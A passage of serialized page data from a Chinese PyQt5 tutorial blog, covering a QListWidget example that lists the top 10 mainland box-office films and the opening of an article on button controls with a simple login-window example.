pe":18,"tag":439,"props":52210,"children":52211},{},[52212,52217],{"type":18,"tag":466,"props":52213,"children":52214},{},[52215],{"type":24,"value":52216},"item.isSelected()",{"type":18,"tag":466,"props":52218,"children":52219},{},[52220],{"type":24,"value":52221},"判断项是否选中",{"type":18,"tag":439,"props":52223,"children":52224},{},[52225,52229],{"type":18,"tag":466,"props":52226,"children":52227},{},[52228],{"type":24,"value":41810},{"type":18,"tag":466,"props":52230,"children":52231},{},[52232,52234,52237,52240,52241,52244,52247,52248,52251,52254,52255,52258,52261,52262],{"type":24,"value":52233},"设置列表的选择模式，支持以下5种模式：",{"type":18,"tag":6882,"props":52235,"children":52236},{},[],{"type":18,"tag":6882,"props":52238,"children":52239},{},[],{"type":24,"value":41823},{"type":18,"tag":6882,"props":52242,"children":52243},{},[],{"type":18,"tag":6882,"props":52245,"children":52246},{},[],{"type":24,"value":41831},{"type":18,"tag":6882,"props":52249,"children":52250},{},[],{"type":18,"tag":6882,"props":52252,"children":52253},{},[],{"type":24,"value":41839},{"type":18,"tag":6882,"props":52256,"children":52257},{},[],{"type":18,"tag":6882,"props":52259,"children":52260},{},[],{"type":24,"value":41847},{"type":18,"tag":41849,"props":52263,"children":52264},{},[52265,52266],{"type":24,"value":41853},{"type":18,"tag":41855,"props":52267,"children":52268},{},[52269,52270,52273,52276],{"type":24,"value":41859},{"type":18,"tag":6882,"props":52271,"children":52272},{},[],{"type":18,"tag":6882,"props":52274,"children":52275},{},[],{"type":24,"value":41867},{"type":18,"tag":439,"props":52278,"children":52279},{},[52280,52284],{"type":18,"tag":466,"props":52281,"children":52282},{},[52283],{"type":24,"value":41875},{"type":18,"tag":466,"props":52285,"children":52286},{},[52287,52289,52292,52295,52296,52299,52302,52303,52306,52309],{"type":24,"value":52288},"设置选择项的方式，支持以下3种方式：",{"type":18,"tag":6882,"props":52290,"children":52291},{},[],{"type":18,"tag":6882,"props":52293,"children":52294},{},[],{"type":24,"value":41888},{"type":18,"tag":6882,"props":52297,"children":52298},{},[],{"type":18,"tag":6882,"props":52300,"children":52301},{},[],{"type":24,"value":41896},{"type":18,"tag":6882,"props":52304,"children":52305},{},[],{"type":18,"tag":6882,"props":52307,"children":52308},{},[],{"type":24,"value":41904},{"type":18,"tag":439,"props":52311,"children":52312},{},[52313,52317],{"type":18,"tag":466,"props":52314,"children":52315},{},[52316],{"type":24,"value":41771},{"type":18,"tag":466,"props":52318,"children":52319},{},[52320],{"type":24,"value":52321},"设置是否自动换行，True表示自动换行；False表示不自动换行",{"type":18,"tag":439,"props":52323,"children":52324},{},[52325,52330],{"type":18,"tag":466,"props":52326,"children":52327},{},[52328],{"type":24,"value":52329},"setViewMode()",{"type":18,"tag":466,"props":52331,"children":52332},{},[52333,52335,52338,52341,52343,52346,52349],{"type":24,"value":52334},"设置显示模式，有以下2种显示模式：",{"type":18,"tag":6882,"props":52336,"children":52337},{},[],{"type":18,"tag":6882,"props":52339,"children":52340},{},[],{"type":24,"value":52342},"◆ QListView.ListMode：以列表形式显示",{"type":18,"tag":6882,"props":52344,"children":52345},{},[],{"type":18,"tag":6882,"props":52347,"children":52348},{},[],{"type":24,"value":52350},"◆ QListView.IconMode：以图表形式显示",{"type":18,"tag":439,"props":52352,"children":52353},{},[52354,52359],{"type":18,"tag":466,"props":52355,"children":52356},{},[52357],{"type":24,"value":52358},"item.text()",{"type":18,"tag":466,"props":52360,"children":52361},{},[52362],{"type":24,"value":52363},"获取项的文本",{"type":18,"tag":439,"props":52365,"children":52366},{},[52367,52371],{"type":18,"tag":466,"props":52368,"children":52369},{},[52370],{"type":24,"value":51336},{"type":18,"tag":466,"props":52372,"children":52373},{},[52374],{"type":24,"value":52375},"删除所有列表项",{"type":18,"tag":34,"props":52377,"children":52378},{},[52379,52384,52385,52391,52392,52398],{"type":18,"tag":74,"props":52380,"children":52382},{"className":52381},[],[52383],{"type":24,"value":51170},{"type":24,"value":51351},{"type":18,"tag":74,"props":52386,"children":52388},{"className":52387},[],[52389],{"type":24,"value":52390},"currentItemChanged",{"type":24,"value":10315},{"type":18,"tag":74,"props":52393,"children":52395},{"className":52394},[],[52396],{"type":24,"value":52397},"itemClicked",{"type":24,"value":51366},{"type":18,"tag":210,"props":52400,"children":52401},{},[52402,52412],{"type":18,"tag":158,"props":52403,"children":52404},{},[52405,52410],{"type":18,"tag":74,"props":52406,"children":52408},{"className":52407},[],[52409],{"type":24,"value":52390},{"type":24,"value":52411},"信号在列表中的选择项发生改变时发射；",{"type":18,"tag":158,"props":52413,"children":52414},{},[52415,52420],{"type":18,"tag":74,"props":52416,"children":52418},{"className":52417},[],[52419],{"type":24,"value":52397},{"type":24,"value":52421},"信号在单击列表中的项时发射。",{"type":18,"tag":34,"props":52423,"children":52424},{},[52425],{"type":18,"tag":105,"props":52426,"children":52427},{},[52428],{"type":24,"value":52429},"实例 用列表展示内地电影票房的总排行榜",{"type":18,"tag":34,"props":52431,"children":52432},{},[52433,52435,52440],{"type":24,"value":52434},"随着我国文化产业的不断发展和壮大，内地的电影票房也连年高速增长。截止到2020年，我国的年电影票房已经突破642亿元，较去年同期增长5.4%，其中，国产电影总票房411.75亿元，同比增长8.65%，市场占比64.07%，从中可以看出，国产电影在内地票房中的占比变得越来越重要，这其中的一个关键因素是，国产电影的质量有了很大的飞跃。近几年，我们所熟知的《战狼2》《我和我的祖国》《流浪地球》等优质国产电影不断呈现在大荧幕上，而观众也用高票房回馈了这些优秀的国产电影。本实例我们将使用PyQt5中的",{"type":18,"tag":74,"props":52436,"children":52438},{"className":52437},[],[52439],{"type":24,"value":51170},{"type":24,"value":52441},"列表展示内地票房总排行榜的前10名，从中可以看到，其中的90%都是国产电影。",{"type":18,"tag":34,"props":52443,"children":52444},{},[52445,52446,52451,52452,52457,52458,52463,52464,52469,52471,52476,52478,52483],{"type":24,"value":49558},{"type":18,"tag":74,"props":52447,"children":52449},{"className":52448},[],[52450],{"type":24,"value":51170},{"type":24,"value":48504},{"type":18,"tag":74,"props":52453,"children":52455},{"className":52454},[],[52456],{"type":24,"value":43367},{"type":24,"value":43369},{"type":18,"tag":74,"props":52459,"children":52461},{"className":52460},[],[52462],{"type":24,"value":42560},{"type":24,"value":46735},{"type":18,"tag":74,"props":52465,"children":52467},{"className":52466},[],[52468],{"type":24,"value":42560},{"type":24,"value":52470},"代码文件中，首先对",{"type":18,"tag":74,"props":52472,"children":52474},{"className":52473},[],[52475],{"type":24,"value":51170},{"type":24,"value":52477},"的显示数据及",{"type":18,"tag":74,"props":52479,"children":52481},{"className":52480},[],[52482],{"type":24,"value":52397},{"type":24,"value":52484},"信号进行设置，主要代码如下：",{"type":18,"tag":287,"props":52486,"children":52488},{"className":28710,"code":52487,"language":28712,"meta":8,"style":8},"# 设置列表中可以多选  \nself.listWidget.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection)  \n# 设置选中方式为整行选中  \nself.listWidget.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)  \n# 设置以列表形式显示数据  \nself.listWidget.setViewMode(QtWidgets.QListView.ListMode)  \nself.listWidget.setWordWrap(True)  # 设置自动换行  \nfrom collections import OrderedDict  \n# 定义有序字典，作为List列表的数据源  \ndict = OrderedDict({'第1名': '战狼2,2017年上映，票房56.83亿', '第2名': '哪吒之魔童降世，2019年上映，票房50.12亿',  \n                    '第3名': '流浪地球，2019年上映，票房46.86亿',  \n                    '第4名': '复仇者联盟：终局之战，2019年上映，票房42.50亿',  \n                    '第5名': '红海行动，2018年上映，票房36.51亿', '第6名': '唐人街探案2，2018年上映，票房33.98亿',  \n                    '第7名': '美人鱼，2016年上映，票房33.86亿', '第8名': '我和我的祖国，2019年上映，票房31.71亿',  \n                    '第9名': '我不是药神，2018年上映，票房31.00亿', '第10名': '中国机长，2019年上映，票房29.13亿'})  \nfor key, value in dict.items():  # 遍历字典，并分别获取到键值  \n    self.item = QtWidgets.QListWidgetItem(self.listWidget)  # 创建列表项  \n    self.item.setText(key + '：' + value)  # 设置项文本  \n    self.item.setToolTip(value)  # 设置提示文字  \nself.listWidget.itemClicked.connect(self.gettext)\n",[52489],{"type":18,"tag":74,"props":52490,"children":52491},{"__ignoreMap":8},[52492,52500,52508,52516,52524,52532,52540,52548,52556,52564,52572,52580,52588,52596,52604,52612,52620,52628,52636,52644],{"type":18,"tag":297,"props":52493,"children":52494},{"class":299,"line":300},[52495],{"type":18,"tag":297,"props":52496,"children":52497},{},[52498],{"type":24,"value":52499},"# 设置列表中可以多选  \n",{"type":18,"tag":297,"props":52501,"children":52502},{"class":299,"line":657},[52503],{"type":18,"tag":297,"props":52504,"children":52505},{},[52506],{"type":24,"value":52507},"self.listWidget.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection)  \n",{"type":18,"tag":297,"props":52509,"children":52510},{"class":299,"line":662},[52511],{"type":18,"tag":297,"props":52512,"children":52513},{},[52514],{"type":24,"value":52515},"# 设置选中方式为整行选中  \n",{"type":18,"tag":297,"props":52517,"children":52518},{"class":299,"line":799},[52519],{"type":18,"tag":297,"props":52520,"children":52521},{},[52522],{"type":24,"value":52523},"self.listWidget.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)  \n",{"type":18,"tag":297,"props":52525,"children":52526},{"class":299,"line":808},[52527],{"type":18,"tag":297,"props":52528,"children":52529},{},[52530],{"type":24,"value":52531},"# 设置以列表形式显示数据  \n",{"type":18,"tag":297,"props":52533,"children":52534},{"class":299,"line":817},[52535],{"type":18,"tag":297,"props":52536,"children":52537},{},[52538],{"type":24,"value":52539},"self.listWidget.setViewMode(QtWidgets.QListView.ListMode)  \n",{"type":18,"tag":297,"props":52541,"children":52542},{"class":299,"line":826},[52543],{"type":18,"tag":297,"props":52544,"children":52545},{},[52546],{"type":24,"value":52547},"self.listWidget.setWordWrap(True)  # 设置自动换行  \n",{"type":18,"tag":297,"props":52549,"children":52550},{"class":299,"line":4524},[52551],{"type":18,"tag":297,"props":52552,"children":52553},{},[52554],{"type":24,"value":52555},"from collections import OrderedDict  \n",{"type":18,"tag":297,"props":52557,"children":52558},{"class":299,"line":4533},[52559],{"type":18,"tag":297,"props":52560,"children":52561},{},[52562],{"type":24,"value":52563},"# 定义有序字典，作为List列表的数据源  \n",{"type":18,"tag":297,"props":52565,"children":52566},{"class":299,"line":4546},[52567],{"type":18,"tag":297,"props":52568,"children":52569},{},[52570],{"type":24,"value":52571},"dict = OrderedDict({'第1名': '战狼2,2017年上映，票房56.83亿', '第2名': '哪吒之魔童降世，2019年上映，票房50.12亿',  \n",{"type":18,"tag":297,"props":52573,"children":52574},{"class":299,"line":4555},[52575],{"type":18,"tag":297,"props":52576,"children":52577},{},[52578],{"type":24,"value":52579},"                    '第3名': '流浪地球，2019年上映，票房46.86亿',  \n",{"type":18,"tag":297,"props":52581,"children":52582},{"class":299,"line":4568},[52583],{"type":18,"tag":297,"props":52584,"children":52585},{},[52586],{"type":24,"value":52587},"                    '第4名': '复仇者联盟：终局之战，2019年上映，票房42.50亿',  \n",{"type":18,"tag":297,"props":52589,"children":52590},{"class":299,"line":4577},[52591],{"type":18,"tag":297,"props":52592,"children":52593},{},[52594],{"type":24,"value":52595},"                    '第5名': '红海行动，2018年上映，票房36.51亿', '第6名': '唐人街探案2，2018年上映，票房33.98亿',  \n",{"type":18,"tag":297,"props":52597,"children":52598},{"class":299,"line":4590},[52599],{"type":18,"tag":297,"props":52600,"children":52601},{},[52602],{"type":24,"value":52603},"                    '第7名': '美人鱼，2016年上映，票房33.86亿', '第8名': '我和我的祖国，2019年上映，票房31.71亿',  \n",{"type":18,"tag":297,"props":52605,"children":52606},{"class":299,"line":4599},[52607],{"type":18,"tag":297,"props":52608,"children":52609},{},[52610],{"type":24,"value":52611},"                    '第9名': '我不是药神，2018年上映，票房31.00亿', '第10名': '中国机长，2019年上映，票房29.13亿'})  \n",{"type":18,"tag":297,"props":52613,"children":52614},{"class":299,"line":4607},[52615],{"type":18,"tag":297,"props":52616,"children":52617},{},[52618],{"type":24,"value":52619},"for key, value in dict.items():  # 遍历字典，并分别获取到键值  \n",{"type":18,"tag":297,"props":52621,"children":52622},{"class":299,"line":4616},[52623],{"type":18,"tag":297,"props":52624,"children":52625},{},[52626],{"type":24,"value":52627},"    self.item = QtWidgets.QListWidgetItem(self.listWidget)  # 创建列表项  \n",{"type":18,"tag":297,"props":52629,"children":52630},{"class":299,"line":4624},[52631],{"type":18,"tag":297,"props":52632,"children":52633},{},[52634],{"type":24,"value":52635},"    self.item.setText(key + '：' + value)  # 设置项文本  \n",{"type":18,"tag":297,"props":52637,"children":52638},{"class":299,"line":4633},[52639],{"type":18,"tag":297,"props":52640,"children":52641},{},[52642],{"type":24,"value":52643},"    self.item.setToolTip(value)  # 设置提示文字  \n",{"type":18,"tag":297,"props":52645,"children":52646},{"class":299,"line":4641},[52647],{"type":18,"tag":297,"props":52648,"children":52649},{},[52650],{"type":24,"value":52651},"self.listWidget.itemClicked.connect(self.gettext)\n",{"type":18,"tag":96,"props":52653,"children":52654},{},[52655],{"type":18,"tag":34,"props":52656,"children":52657},{},[52658,52662,52664,52670,52672,52678],{"type":18,"tag":105,"props":52659,"children":52660},{},[52661],{"type":24,"value":44648},{"type":24,"value":52663}," 多学两招\nPython中的字典默认是无序的，可以借助",{"type":18,"tag":74,"props":52665,"children":52667},{"className":52666},[],[52668],{"type":24,"value":52669},"collections",{"type":24,"value":52671},"模块的",{"type":18,"tag":74,"props":52673,"children":52675},{"className":52674},[],[52676],{"type":24,"value":52677},"OrderedDict",{"type":24,"value":52679},"类来使字典有序。",{"type":18,"tag":34,"props":52681,"children":52682},{},[52683,52685,52691],{"type":24,"value":52684},"上面代码中用到了",{"type":18,"tag":74,"props":52686,"children":52688},{"className":52687},[],[52689],{"type":24,"value":52690},"gettext()槽函数",{"type":24,"value":52692},"，该函数是自定义的一个函数，用来获取列表中选中项的值，并显示在弹出的提示框中，代码如下：",{"type":18,"tag":287,"props":52694,"children":52696},{"className":28710,"code":52695,"language":28712,"meta":8,"style":8},"def gettext(self, item):  # 自定义槽函数，获取列表选中项的值  \n    if item.isSelected():  # 判断项是否选中  \n        from PyQt5.QtWidgets import QMessageBox  \n        QMessageBox.information(MainWindow, \"提示\", \"您选择的是：\" + item.text(), QMessageBox.Ok)\n",[52697],{"type":18,"tag":74,"props":52698,"children":52699},{"__ignoreMap":8},[52700,52708,52716,52724],{"type":18,"tag":297,"props":52701,"children":52702},{"class":299,"line":300},[52703],{"type":18,"tag":297,"props":52704,"children":52705},{},[52706],{"type":24,"value":52707},"def gettext(self, item):  # 自定义槽函数，获取列表选中项的值  \n",{"type":18,"tag":297,"props":52709,"children":52710},{"class":299,"line":657},[52711],{"type":18,"tag":297,"props":52712,"children":52713},{},[52714],{"type":24,"value":52715},"    if item.isSelected():  # 判断项是否选中  \n",{"type":18,"tag":297,"props":52717,"children":52718},{"class":299,"line":662},[52719],{"type":18,"tag":297,"props":52720,"children":52721},{},[52722],{"type":24,"value":52723},"        from PyQt5.QtWidgets import QMessageBox  \n",{"type":18,"tag":297,"props":52725,"children":52726},{"class":299,"line":799},[52727],{"type":18,"tag":297,"props":52728,"children":52729},{},[52730],{"type":24,"value":52731},"        QMessageBox.information(MainWindow, \"提示\", \"您选择的是：\" + item.text(), QMessageBox.Ok)\n",{"type":18,"tag":34,"props":52733,"children":52734},{},[52735,52736,52741],{"type":24,"value":48801},{"type":18,"tag":74,"props":52737,"children":52739},{"className":52738},[],[52740],{"type":24,"value":42560},{"type":24,"value":52742},"文件添加程序入口，然后运行程序，效果如图所示。",{"type":18,"tag":34,"props":52744,"children":52745},{},[52746],{"type":18,"tag":54,"props":52747,"children":52750},{"alt":52748,"src":52749},"Pasted image 20250830230959","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250830230959.png",[],{"type":18,"tag":34,"props":52752,"children":52753},{},[52754],{"type":24,"value":52755},"当用户单击列表中的某项时，弹出提示框，提示选择了某一项，例如单击图中的第3项，则弹出如图所示的对话框。",{"type":18,"tag":34,"props":52757,"children":52758},{},[52759],{"type":18,"tag":54,"props":52760,"children":52763},{"alt":52761,"src":52762},"Pasted image 20250830231043","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250830231043.png",[],{"type":18,"tag":651,"props":52765,"children":52766},{},[52767],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":52769},[52770,52772,52774],{"id":51175,"depth":657,"text":52771},"1  ComboBox：下拉组合框",{"id":51616,"depth":657,"text":52773},"2  FontComboBox：字体组合框",{"id":52006,"depth":657,"text":52775},"3  ListWidget：列表","content:blog:2025-08-25-pyqt5-选择列表类控件.md","blog\u002F2025-08-25-pyqt5-选择列表类控件.md","blog\u002F2025-08-25-pyqt5-选择列表类控件",{"_path":52780,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":52781,"description":52782,"date":52783,"tags":52784,"body":52785,"_type":672,"_id":55458,"_source":674,"_file":55459,"_stem":55460,"_extension":677},"\u002Fblog\u002F2025-08-24-pyqt5","PyQt5-按钮类控件","PyQt5按钮类控件详解：PushButton、RadioButton、CheckBox、ToolButton等。","2025-08-24",[28616,41429,41430],{"type":15,"children":52786,"toc":55446},[52787,52819,52831,52834,52858,52874,52975,52993,53001,53035,53497,53545,53564,53572,53633,53638,53649,53661,53664,53689,53727,53785,53804,53862,53870,53882,53905,53910,53918,53980,53985,53995,54007,54010,54035,54043,54071,54084,54092,54107,54115,54129,54132,54142,54158,54234,54278,54286,54357,54931,54958,54966,54983,54991,55005,55008,55025,55072,55082,55146,55163,55171,55231,55357,55383,55397,55415,55423,55442],{"type":18,"tag":34,"props":52788,"children":52789},{},[52790,52792,52797,52798,52803,52804,52810,52811,52817],{"type":24,"value":52791},"按钮类控件主要用来执行一些命令操作，PyQt5中的按钮类控件主要有",{"type":18,"tag":74,"props":52793,"children":52795},{"className":52794},[],[52796],{"type":24,"value":44683},{"type":24,"value":1942},{"type":18,"tag":74,"props":52799,"children":52801},{"className":52800},[],[52802],{"type":24,"value":50092},{"type":24,"value":1942},{"type":18,"tag":74,"props":52805,"children":52807},{"className":52806},[],[52808],{"type":24,"value":52809},"CommandLinkButton",{"type":24,"value":1942},{"type":18,"tag":74,"props":52812,"children":52814},{"className":52813},[],[52815],{"type":24,"value":52816},"RadioButton和CheckBox",{"type":24,"value":52818},"等，本节将对它们的常用方法及使用方式进行讲解。",{"type":18,"tag":19,"props":52820,"children":52822},{"id":52821},"_1pushbutton按钮",[52823,52824,52829],{"type":24,"value":41463},{"type":18,"tag":74,"props":52825,"children":52827},{"className":52826},[],[52828],{"type":24,"value":44683},{"type":24,"value":52830},"：按钮",{"type":18,"tag":121,"props":52832,"children":52833},{},[],{"type":18,"tag":34,"props":52835,"children":52836},{},[52837,52842,52844,52849,52851,52856],{"type":18,"tag":74,"props":52838,"children":52840},{"className":52839},[],[52841],{"type":24,"value":44683},{"type":24,"value":52843},"是PyQt5中最常用的控件之一，它被称为按钮控件，允许用户通过单击来执行操作。",{"type":18,"tag":74,"props":52845,"children":52847},{"className":52846},[],[52848],{"type":24,"value":44683},{"type":24,"value":52850},"控件",{"type":18,"tag":105,"props":52852,"children":52853},{},[52854],{"type":24,"value":52855},"既可以显示文本，也可以显示图像",{"type":24,"value":52857},"。当该控件被单击时，它看起来的状态像是被按下，然后被释放。",{"type":18,"tag":34,"props":52859,"children":52860},{},[52861,52866,52867,52873],{"type":18,"tag":74,"props":52862,"children":52864},{"className":52863},[],[52865],{"type":24,"value":44683},{"type":24,"value":41483},{"type":18,"tag":74,"props":52868,"children":52870},{"className":52869},[],[52871],{"type":24,"value":52872},"QPushButton",{"type":24,"value":48168},{"type":18,"tag":431,"props":52875,"children":52876},{},[52877,52897],{"type":18,"tag":435,"props":52878,"children":52879},{},[52880],{"type":18,"tag":439,"props":52881,"children":52882},{},[52883,52890],{"type":18,"tag":443,"props":52884,"children":52885},{},[52886],{"type":18,"tag":105,"props":52887,"children":52888},{},[52889],{"type":24,"value":41518},{"type":18,"tag":443,"props":52891,"children":52892},{},[52893],{"type":18,"tag":105,"props":52894,"children":52895},{},[52896],{"type":24,"value":41526},{"type":18,"tag":459,"props":52898,"children":52899},{},[52900,52912,52924,52936,52949,52962],{"type":18,"tag":439,"props":52901,"children":52902},{},[52903,52907],{"type":18,"tag":466,"props":52904,"children":52905},{},[52906],{"type":24,"value":43226},{"type":18,"tag":466,"props":52908,"children":52909},{},[52910],{"type":24,"value":52911},"设置按钮所显示的文本",{"type":18,"tag":439,"props":52913,"children":52914},{},[52915,52919],{"type":18,"tag":466,"props":52916,"children":52917},{},[52918],{"type":24,"value":43281},{"type":18,"tag":466,"props":52920,"children":52921},{},[52922],{"type":24,"value":52923},"获取按钮所显示的文本",{"type":18,"tag":439,"props":52925,"children":52926},{},[52927,52931],{"type":18,"tag":466,"props":52928,"children":52929},{},[52930],{"type":24,"value":43268},{"type":18,"tag":466,"props":52932,"children":52933},{},[52934],{"type":24,"value":52935},"设置按钮上的图标，可以将参数设置为QtGui.QIcon('图标路径')",{"type":18,"tag":439,"props":52937,"children":52938},{},[52939,52944],{"type":18,"tag":466,"props":52940,"children":52941},{},[52942],{"type":24,"value":52943},"setIconSize()",{"type":18,"tag":466,"props":52945,"children":52946},{},[52947],{"type":24,"value":52948},"设置按钮图标的大小，参数可以设置为QtCore.QSize(int width，int height)",{"type":18,"tag":439,"props":52950,"children":52951},{},[52952,52957],{"type":18,"tag":466,"props":52953,"children":52954},{},[52955],{"type":24,"value":52956},"setEnabled()",{"type":18,"tag":466,"props":52958,"children":52959},{},[52960],{"type":24,"value":52961},"设置按钮是否可用，参数设置为False时，按钮为不可用状态",{"type":18,"tag":439,"props":52963,"children":52964},{},[52965,52970],{"type":18,"tag":466,"props":52966,"children":52967},{},[52968],{"type":24,"value":52969},"setShortcut()",{"type":18,"tag":466,"props":52971,"children":52972},{},[52973],{"type":24,"value":52974},"设置按钮的快捷键，参数可以设置为键盘中的按键或组合键例如\u003CAlt+0>",{"type":18,"tag":34,"props":52976,"children":52977},{},[52978,52983,52985,52991],{"type":18,"tag":74,"props":52979,"children":52981},{"className":52980},[],[52982],{"type":24,"value":44683},{"type":24,"value":52984},"按钮中最常用的信号是",{"type":18,"tag":74,"props":52986,"children":52988},{"className":52987},[],[52989],{"type":24,"value":52990},"clicked",{"type":24,"value":52992},"，当按钮被单击时，会发射该信号执行相应的操作。",{"type":18,"tag":34,"props":52994,"children":52995},{},[52996],{"type":18,"tag":105,"props":52997,"children":52998},{},[52999],{"type":24,"value":53000},"实例 制作登录窗口",{"type":18,"tag":34,"props":53002,"children":53003},{},[53004,53006,53012,53013,53019,53021,53026,53028,53033],{"type":24,"value":53005},"为系统登录窗口添加",{"type":18,"tag":74,"props":53007,"children":53009},{"className":53008},[],[53010],{"type":24,"value":53011},"登录",{"type":24,"value":10315},{"type":18,"tag":74,"props":53014,"children":53016},{"className":53015},[],[53017],{"type":24,"value":53018},"退出",{"type":24,"value":53020},"按钮，当单击",{"type":18,"tag":74,"props":53022,"children":53024},{"className":53023},[],[53025],{"type":24,"value":53011},{"type":24,"value":53027},"按钮时，弹出用户输入的用户名和密码；而当单击",{"type":18,"tag":74,"props":53029,"children":53031},{"className":53030},[],[53032],{"type":24,"value":53018},{"type":24,"value":53034},"按钮时，则关闭当前登录窗口。代码如下：",{"type":18,"tag":287,"props":53036,"children":53038},{"code":53037,"language":28712,"meta":8,"className":28710,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \nfrom PyQt5.QtGui import QPixmap, QIcon  \n  \nclass Ui_MainWindow(object):  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(225, 121)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        self.pushButton = QtWidgets.QPushButton(self.centralwidget)  \n        self.pushButton.setGeometry(QtCore.QRect(40, 83, 61, 23))  \n        self.pushButton.setObjectName(\"pushButton\")  \n        self.pushButton.setIcon(QIcon(QPixmap(\"login.ico\")))  # 为“登录”按钮设置图标  \n        self.label = QtWidgets.QLabel(self.centralwidget)  \n        self.label.setGeometry(QtCore.QRect(29, 22, 54, 12))  \n        self.label.setObjectName(\"label\")  \n        self.label_2 = QtWidgets.QLabel(self.centralwidget)  \n        self.label_2.setGeometry(QtCore.QRect(29, 52, 54, 12))  \n        self.label_2.setObjectName(\"label_2\")  \n        self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)  \n        self.lineEdit.setGeometry(QtCore.QRect(79, 18, 113, 20))  \n        self.lineEdit.setObjectName(\"lineEdit\")  \n        self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget)  \n        self.lineEdit_2.setGeometry(QtCore.QRect(78, 50, 113, 20))  \n        self.lineEdit_2.setObjectName(\"lineEdit_2\")  \n        self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Password)  # 设置文本框为密码  \n        # 设置只能输入8位数字  \n        self.lineEdit_2.setValidator(QtGui.QIntValidator(10000000, 99999999))  \n        self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)  \n        self.pushButton_2.setGeometry(QtCore.QRect(120, 83, 61, 23))  \n        self.pushButton_2.setObjectName(\"pushButton_2\")  \n        self.pushButton_2.setIcon(QIcon(QPixmap(\"exit.ico\")))  # 为“退出”按钮设置图标  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        # 为“登录”按钮的clicked信号绑定自定义槽函数  \n        self.pushButton.clicked.connect(self.login)  \n        # 为“退出”按钮的clicked信号绑定MainWindow窗口自带的close()槽函数  \n        self.pushButton_2.clicked.connect(MainWindow.close)  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n    def login(self):  \n        from PyQt5.QtWidgets import QMessageBox  \n        # 使用information()方法弹出信息提示框  \n        QMessageBox.information(MainWindow, \"登录信息\",  \n                                \"用户名：\" + self.lineEdit.text() + \"  密码：\" + self.lineEdit_2.text(), QMessageBox.Ok)  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"系统登录\"))  \n        self.pushButton.setText(_translate(\"MainWindow\", \"登录\"))  \n        self.label.setText(_translate(\"MainWindow\", \"用户名：\"))  \n        self.label_2.setText(_translate(\"MainWindow\", \"密  码：\"))  \n        self.pushButton_2.setText(_translate(\"MainWindow\", \"退出\"))  \nimport sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n    app = QtWidgets.QApplication(sys.argv)  \n    MainWindow = QtWidgets.QMainWindow()  # 创建窗体对象  \n    ui = Ui_MainWindow()  # 创建PyQt设计的窗体对象  \n    ui.setupUi(MainWindow)  # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n    MainWindow.show()  # 显示窗体  \n    sys.exit(app.exec_())  # 程序关闭时退出进程\n",[53039],{"type":18,"tag":74,"props":53040,"children":53041},{"__ignoreMap":8},[53042,53049,53057,53064,53071,53078,53085,53093,53100,53107,53114,53122,53129,53137,53145,53153,53160,53168,53176,53184,53192,53200,53208,53216,53224,53232,53240,53248,53256,53264,53272,53280,53288,53295,53302,53310,53318,53326,53334,53341,53349,53356,53364,53372,53380,53387,53394,53402,53410,53418,53426,53434,53441,53448,53455,53462,53469,53476,53483,53490],{"type":18,"tag":297,"props":53043,"children":53044},{"class":299,"line":300},[53045],{"type":18,"tag":297,"props":53046,"children":53047},{},[53048],{"type":24,"value":42107},{"type":18,"tag":297,"props":53050,"children":53051},{"class":299,"line":657},[53052],{"type":18,"tag":297,"props":53053,"children":53054},{},[53055],{"type":24,"value":53056},"from PyQt5.QtGui import QPixmap, QIcon  \n",{"type":18,"tag":297,"props":53058,"children":53059},{"class":299,"line":662},[53060],{"type":18,"tag":297,"props":53061,"children":53062},{},[53063],{"type":24,"value":36783},{"type":18,"tag":297,"props":53065,"children":53066},{"class":299,"line":799},[53067],{"type":18,"tag":297,"props":53068,"children":53069},{},[53070],{"type":24,"value":42122},{"type":18,"tag":297,"props":53072,"children":53073},{"class":299,"line":808},[53074],{"type":18,"tag":297,"props":53075,"children":53076},{},[53077],{"type":24,"value":42137},{"type":18,"tag":297,"props":53079,"children":53080},{"class":299,"line":817},[53081],{"type":18,"tag":297,"props":53082,"children":53083},{},[53084],{"type":24,"value":42145},{"type":18,"tag":297,"props":53086,"children":53087},{"class":299,"line":826},[53088],{"type":18,"tag":297,"props":53089,"children":53090},{},[53091],{"type":24,"value":53092},"        MainWindow.resize(225, 121)  \n",{"type":18,"tag":297,"props":53094,"children":53095},{"class":299,"line":4524},[53096],{"type":18,"tag":297,"props":53097,"children":53098},{},[53099],{"type":24,"value":42161},{"type":18,"tag":297,"props":53101,"children":53102},{"class":299,"line":4533},[53103],{"type":18,"tag":297,"props":53104,"children":53105},{},[53106],{"type":24,"value":42169},{"type":18,"tag":297,"props":53108,"children":53109},{"class":299,"line":4546},[53110],{"type":18,"tag":297,"props":53111,"children":53112},{},[53113],{"type":24,"value":45080},{"type":18,"tag":297,"props":53115,"children":53116},{"class":299,"line":4555},[53117],{"type":18,"tag":297,"props":53118,"children":53119},{},[53120],{"type":24,"value":53121},"        self.pushButton.setGeometry(QtCore.QRect(40, 83, 61, 23))  \n",{"type":18,"tag":297,"props":53123,"children":53124},{"class":299,"line":4568},[53125],{"type":18,"tag":297,"props":53126,"children":53127},{},[53128],{"type":24,"value":45096},{"type":18,"tag":297,"props":53130,"children":53131},{"class":299,"line":4577},[53132],{"type":18,"tag":297,"props":53133,"children":53134},{},[53135],{"type":24,"value":53136},"        